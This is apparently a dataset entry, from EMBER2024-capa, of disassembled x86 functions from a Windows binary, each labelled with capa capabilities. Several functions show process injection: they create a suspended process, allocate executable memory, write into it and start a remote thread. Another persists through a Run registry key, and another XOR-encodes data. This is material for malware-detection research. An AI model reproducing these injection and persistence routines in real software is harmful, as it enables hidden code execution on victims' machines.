joyce8/EMBER2024-capa huggingface dataset:
Function at 0x447a70
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff40
push ebx
push esi
push edi
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404984
xor eax, eax
push ebp
push 0x447c53
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x447aae
lea edx, [ebp - 4]
mov eax, 0x447c70
call fcn.00457458
xor ebx, ebx
cmp byte [ebp + 8], 0
je 0x447bbc
xor edi, edi
inc edi
cmp edi, 0xd
je 0x447bbc
lea eax, [ebp - 0xb0]
mov edx, 0x48
call fcn.0043313c
call fcn.004479fc
mov ecx, eax
xor edx, edx
mov eax, 0x2000000
call fcn.0045c360
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push 0
call sub.kernel32.dll_InitializeProcThreadAttributeList
mov eax, dword [ebp - 0x10]
push eax
push 0
call sub.kernel32.dll_GetProcessHeap
push eax
call sub.kernel32.dll_HeapAlloc
mov esi, eax
mov dword [ebp - 0x6c], esi
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push esi
call sub.kernel32.dll_InitializeProcThreadAttributeList
push 0
push 0
push 4
lea eax, [ebp - 0x14]
push eax
call fcn.004331ac
push eax
push 0
mov eax, dword [ebp - 0x6c]
push eax
call sub.kernel32.dll_UpdateProcThreadAttribute
mov dword [ebp - 0xb0], 0x48
mov word [ebp - 0x80], 0
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
push 0
push 0x80004
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404994
push eax
push 0
call sub.kernel32.dll_CreateProcessA_1
test eax, eax
je 0x447abc
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc0]
call fcn.0043a3ac
mov ebx, eax
test bl, bl
je 0x447c3d
cmp byte [ebp - 9], 0
je 0x447bac
call fcn.0045bf34
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0xb8]
mov dword [eax], edx
jmp 0x447c3d
mov eax, dword [ebp + 0xc]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.0043313c
lea eax, [ebp - 0x68]
mov edx, 0x10
call fcn.0043313c
mov dword [ebp - 0x58], 0x44
mov word [ebp - 0x28], 0
mov dword [ebp - 0x2c], 1
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404994
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x447c3d
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x68]
call fcn.0043a3ac
mov ebx, eax
test bl, bl
je 0x447c3d
cmp byte [ebp - 9], 0
je 0x447c35
call fcn.0045bf34
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x60]
mov dword [eax], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x447c5a
lea eax, [ebp - 4]
call fcn.004044b8
ret
Function at 0x450e84
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
xor eax, eax
push ebp
push 0x450f3e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x47157c]
cmp byte [eax], 0
jne 0x450f23
mov eax, dword [0x471738]
cmp byte [eax], 0
jne 0x450f23
mov eax, dword [0x471470]
cmp byte [eax], 0
jne 0x450f23
lea eax, [ebp - 8]
call fcn.0045239c
mov eax, dword [ebp - 8]
push eax
lea edx, [ebp - 0xc]
mov eax, 0x450f54
call fcn.00457458
mov edx, dword [ebp - 0xc]
pop eax
call fcn.004048e0
je 0x450f23
cmp byte [0x472e84], 0
jne 0x450f23
call fcn.00450cd0
cmp dword [0x472e90], 0
jbe 0x450f01
push 0
mov eax, dword [0x472e90]
push eax
call sub.kernel32.dll_TerminateThread
mov byte [0x472e84], 1
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x450adc
xor edx, edx
xor eax, eax
call fcn.0040446c
mov dword [0x472e90], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450f45
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004044dc
ret

Function at 0x450f90
Capabilities:
Terminate thread

Disassembly:
call fcn.0044f028
cmp dword [0x472e90], 0
jbe 0x450fab
push 0
mov eax, dword [0x472e90]
push eax
call sub.kernel32.dll_TerminateThread
mov byte [0x472e84], 0
ret

Function at 0x451cdc
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
xor eax, eax
push ebp
push 0x451d78
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0x102
lea eax, [ebp - 0xc]
push eax
mov edx, 0x451d88
xor ecx, ecx
mov eax, 0x80000002
call fcn.0045d70c
test eax, eax
jne 0x451d5d
push 1
mov eax, dword [ebp - 8]
call fcn.00404994
push eax
mov eax, dword [ebp - 8]
call fcn.00404794
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00404994
mov edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0xc]
call fcn.0045c58c
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
call fcn.0045d694
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x451d7f
lea eax, [ebp - 8]
mov edx, 2
call fcn.004044dc
ret

Function at 0x4522d4
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
mov eax, dword [0x471614]
cmp dword [eax], 0
je 0x4522f8
mov eax, ebx
mov edx, dword [0x471614]
mov edx, dword [edx]
call fcn.0040450c
jmp 0x452332
mov dword [esp], 0x101
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x45231b
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.00404ac4
jmp 0x452322
mov eax, ebx
call fcn.004044b8
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.00404728
add esp, 0x108
pop ebx
ret

Function at 0x4528e4
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret
Function at 0x4544e4
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404994
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x454520
mov eax, edi
call fcn.0045c8f4
jmp 0x45464e
push 0
push 0
push 0
push 2
push 0
push edi
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
jne 0x454549
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
jmp 0x45464e
push 0
push 0
xor ecx, ecx
mov edx, 4
mov eax, esi
call fcn.0045c214
mov dword [esp], eax
cmp dword [esp], 0
jne 0x454577
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
jmp 0x45464e
mov eax, dword [esp]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
je 0x4545a5
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x45464e
mov eax, dword [esp + 4]
mov edx, dword [esp + 4]
add eax, dword [edx + 0x3c]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
je 0x4545d9
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x45464e
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
jne 0x454635
mov eax, dword [esp + 8]
mov ax, word [eax + 0x18]
sub ax, 0x10b
je 0x4545fb
sub ax, 0x100
je 0x454618
jmp 0x454637
mov eax, dword [esp + 8]
mov ax, word [eax + 0x5c]
sub ax, 2
je 0x454610
dec ax
je 0x454614
jmp 0x454637
mov bl, 2
jmp 0x454637
mov bl, 3
jmp 0x454637
mov eax, dword [esp + 8]
mov ax, word [eax + 0x5c]
sub ax, 2
je 0x45462d
dec ax
je 0x454631
jmp 0x454637
mov bl, 4
jmp 0x454637
mov bl, 5
jmp 0x454637
mov bl, 1
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x454658
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404994
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x454694
mov eax, edi
call fcn.0045c8f4
jmp 0x45478d
push 0
push 0
push 0
push 2
push 0
push edi
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
jne 0x4546bd
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
jmp 0x45478d
push 0
push 0
xor ecx, ecx
mov edx, 4
mov eax, esi
call fcn.0045c214
mov dword [esp], eax
cmp dword [esp], 0
jne 0x4546eb
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
jmp 0x45478d
mov eax, dword [esp]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
je 0x454716
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x45478d
mov eax, dword [esp + 4]
mov edx, dword [esp + 4]
add eax, dword [edx + 0x3c]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
je 0x45474a
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x45478d
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
jne 0x454774
mov eax, dword [esp + 8]
mov ax, word [eax + 0x18]
sub ax, 0x10b
je 0x45476c
sub ax, 0x100
je 0x454770
jmp 0x454776
mov bl, 2
jmp 0x454776
mov bl, 3
jmp 0x454776
mov bl, 1
mov eax, edi
call fcn.0045c8f4
mov eax, esi
call fcn.0045c8f4
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret

Function at 0x455024
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [esp]
call fcn.00404794
mov edi, eax
mov eax, dword [esp]
call fcn.00404794
mov esi, eax
test esi, esi
jle 0x45505f
mov ebx, 1
mov eax, dword [esp]
movzx eax, byte [eax + ebx - 1]
xor edi, eax
inc ebx
dec esi
jne 0x455051
mov eax, dword [esp + 4]
mov edx, ebp
call fcn.0040450c
mov eax, ebp
call fcn.00404794
mov esi, eax
test esi, esi
jle 0x455095
mov ebx, 1
mov eax, dword [esp + 4]
call fcn.004049ec
mov edx, edi
xor dl, byte [ebp + ebx - 1]
not dl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x45507c
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x45515c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
xor eax, eax
push ebp
push 0x45521a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0045d894
test al, al
je 0x4551f7
lea eax, [ebp - 0x44]
mov edx, 0x3c
call fcn.0040702c
mov dword [ebp - 0x44], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404994
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
call fcn.00404994
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 4]
call fcn.00408b80
mov eax, dword [ebp - 0x48]
call fcn.00404994
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 1
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4551f7
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455221
lea eax, [ebp - 0x48]
call fcn.004044b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004044dc
ret

Function at 0x455228
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030fc
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.00404994
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.00404994
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.00404994
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x4552d0
mov eax, 1
call fcn.0045be2c
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x4552bc
inc esi
cmp esi, 0x7530
jg 0x4552c5
cmp dword [ebp - 0x10], 0x103
je 0x455298
mov eax, dword [ebp - 0x14]
call fcn.0045c8f4
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4552dc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
xor ebx, ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
mov eax, dword [ebp - 0xc]
call fcn.00404984
xor eax, eax
push ebp
push 0x455440
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x455356
push 0x455458
push dword [ebp - 4]
push 0x455464
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404854
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.00408208
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404550
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.0040702c
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.0040702c
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x455394
mov word [ebp - 0x30], 5
mov eax, ebx
call fcn.00404994
mov dword [ebp - 0x58], eax
jmp 0x45539a
mov word [ebp - 0x30], 0
cmp dword [ebp - 0xc], 0
jne 0x4553d0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404994
push eax
mov eax, dword [ebp - 4]
call fcn.00404994
push eax
call sub.kernel32.dll_CreateProcessA
jmp 0x455405
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404994
push eax
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404994
push eax
mov eax, dword [ebp - 4]
call fcn.00404994
push eax
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0xc], 0
je 0x455418
or edx, 0xffffffff
call fcn.0045c6b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455447
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004044dc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004044dc
ret

Function at 0x456630
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
xor eax, eax
push ebp
push 0x4566e0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
mov edx, 0x3c
call fcn.0040702c
mov dword [ebp - 0x44], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404994
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
call fcn.00404994
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 4]
call fcn.00408b80
mov eax, dword [ebp - 0x48]
call fcn.00404994
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4566bd
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4566e7
lea eax, [ebp - 0x48]
call fcn.004044b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004044dc
ret
Function at 0x456818
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
xor eax, eax
push ebp
push 0x4568c8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4568a3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20106
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404994
mov edx, eax
xor ecx, ecx
mov eax, ebx
call fcn.0045d70c
test eax, eax
jne 0x456891
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00404994
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
call fcn.0045d694
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4568ad
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4568cf
lea eax, [ebp - 8]
mov edx, 2
call fcn.004044dc
ret
Function at 0x458074
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
mov eax, dword [ebp - 0xc]
call fcn.00404984
xor eax, eax
push ebp
push 0x45825a
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 0x6c]
mov edx, 0x44
call fcn.0043313c
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.0043313c
mov dword [ebp - 0x6c], 0x44
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x40], 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404994
push eax
mov eax, dword [ebp - 4]
call fcn.00404994
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x458167
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
xor ecx, ecx
mov edx, 0x458274
mov eax, dword [ebp - 8]
call fcn.00456b5c
mov eax, dword [ebp - 0x70]
call fcn.00404994
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x458167
lea edx, [ebp - 0x74]
mov eax, 0x458280
call fcn.00457458
mov eax, dword [ebp - 0x74]
call fcn.00449d28
jmp 0x458232
mov ebx, dword [ebp - 0x28]
push 0x40
push 0x1000
mov eax, dword [ebp - 0xc]
call fcn.00404794
push eax
push 0
push ebx
call fcn.004578f0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4581a8
push 0x1000
push 0x40
mov eax, dword [ebp - 0xc]
call fcn.00404794
mov ecx, eax
xor edx, edx
mov eax, ebx
call fcn.0045e080
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x458232
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404794
push eax
lea eax, [ebp - 0xc]
call fcn.004049ec
push eax
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.004579cc
mov eax, dword [ebp - 0xc]
call fcn.00404794
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x4581f4
cmp eax, dword [esp]
pop edx
pop eax
jae 0x458219
jmp 0x4581f8
pop edx
pop eax
jge 0x458219
mov eax, dword [ebp - 0xc]
call fcn.00404794
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
call fcn.004049ec
mov ecx, eax
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.0045d3c8
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
lea eax, [ebp - 0x18]
push eax
xor ecx, ecx
xor edx, edx
mov eax, ebx
call fcn.0045e3ec
mov esi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458261
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004044dc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004044dc
ret
Function at 0x458494
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x6c], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
xor eax, eax
push ebp
push 0x4586c8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp + 8], 0
je 0x4585bf
cmp dword [ebp - 4], 0
jne 0x4584e4
lea edx, [ebp - 4]
mov eax, 0x4586e4
call fcn.00457458
lea eax, [ebp - 0x68]
mov edx, 0x44
call fcn.0043313c
lea eax, [ebp - 0x24]
mov edx, 0x10
call fcn.0043313c
mov dword [ebp - 0x68], 0x44
mov word [ebp - 0x38], 0
mov dword [ebp - 0x3c], 1
lea edx, [ebp - 0x6c]
mov eax, 0x4586e4
call fcn.00457458
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 4]
call fcn.004048e0
jne 0x458574
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404994
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4585ba
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
jmp 0x4585ba
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404994
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4585ba
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
mov esi, dword [ebp - 0x24]
jmp 0x4585d9
xor ebx, ebx
mov ecx, esi
xor edx, edx
mov eax, 0x1f0fff
call fcn.0045c360
mov esi, eax
test esi, esi
je 0x4586a5
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.00404794
push eax
push 0
push esi
call fcn.004578f0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x458617
push 0x1000
push 0x40
mov eax, dword [ebp - 8]
call fcn.00404794
mov ecx, eax
xor edx, edx
mov eax, esi
call fcn.0045e080
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4586a5
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.00404794
push eax
lea eax, [ebp - 8]
call fcn.004049ec
push eax
mov eax, dword [ebp - 0xc]
push eax
push esi
call fcn.004579cc
mov eax, dword [ebp - 8]
call fcn.00404794
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x10]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x458663
cmp eax, dword [esp]
pop edx
pop eax
jae 0x458688
jmp 0x458667
pop edx
pop eax
jge 0x458688
mov eax, dword [ebp - 8]
call fcn.00404794
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
call fcn.004049ec
mov ecx, eax
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.0045d3c8
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x14]
push eax
xor ecx, ecx
xor edx, edx
mov eax, esi
call fcn.0045e3ec
test eax, eax
jbe 0x4586a5
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4586cf
lea eax, [ebp - 0x6c]
call fcn.004044b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004044dc
ret